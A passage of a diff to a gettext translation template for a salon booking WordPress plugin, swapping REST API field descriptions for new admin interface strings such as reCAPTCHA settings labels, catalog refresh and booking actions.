src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:547, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:547, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:546, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:547, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:547, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:359, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:501\n-msgid \"The unit for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:132\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:132\n+msgid \"reCAPTCHA is enabled but keys are missing\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:53\n+msgid \"reCAPTCHA Secret Key\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:39\n+msgid \"reCAPTCHA Site Key\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:101\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:101\n+msgid \"\"\n+\"reCAPTCHA v3 runs invisibly in the background - no checkboxes or puzzles for \"\n+\"customers\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:564, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:564, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:564, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:563, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:564, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:564, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:518\n-msgid \"The exclusive for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:347\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:347\n+msgid \"Recent No-Shows\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:573, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:573, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:573, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:572, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:573, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:527\n-msgid \"The secondary for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:110\n+msgid \"Recommended: PNG with transparent background, 240x135px\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:582, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:582, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:582, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:581, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:582, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:582, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:536\n-msgid \"The secondary display mode for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:242\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:242\n+msgid \"records have been skipped due to errors\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:591, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:591, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:591, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:590, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:591, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:591, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:545\n-msgid \"The parent services ids for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:50\n+msgid \"Redirect URI\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:602, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:602, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:602, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:601, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:602, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:602, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:556\n-msgid \"The order execution for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:85\n+msgid \"Refresh\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:611, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:611, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:611, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:610, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:611, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:611, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:565\n-msgid \"The break between services for the resource.\"\n+#. %s: Payment gateway name (Stripe or PayPal)\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:772\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:772\n+#, php-format\n+msgid \"Refresh %s Payment Status\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:181\n+msgid \"Refresh All License Data\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:561\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:561\n+msgid \"Refresh catalog\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:559\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:559\n+msgid \"Refresh catalog from store\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:295\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:300\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:334\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:382\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:430\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:295\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:300\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:334\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:382\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:430\n+msgid \"Refresh Support Status\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:495\n+msgid \"Refreshing all data...\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:281\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:281\n+msgid \"Refreshing...\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:620, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:620, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:620, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:619, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:574\n-msgid \"The no assistants for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:538\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:60\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:538\n+msgid \"Refuse\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FServices_Controller.php:638, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:638, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:638, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:637, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:638, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:638, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:592\n-msgid \"The services categories ids for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:301\n+msgid \"Register your sender ID (phone number) in the portal\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FUsers_Controller.php:79, src\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:150, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FUsers_Controller.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:150, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FUsers_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FUsers_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FUsers_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:150, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FUsers_Controller.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:150\n-msgid \"The notification push id the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 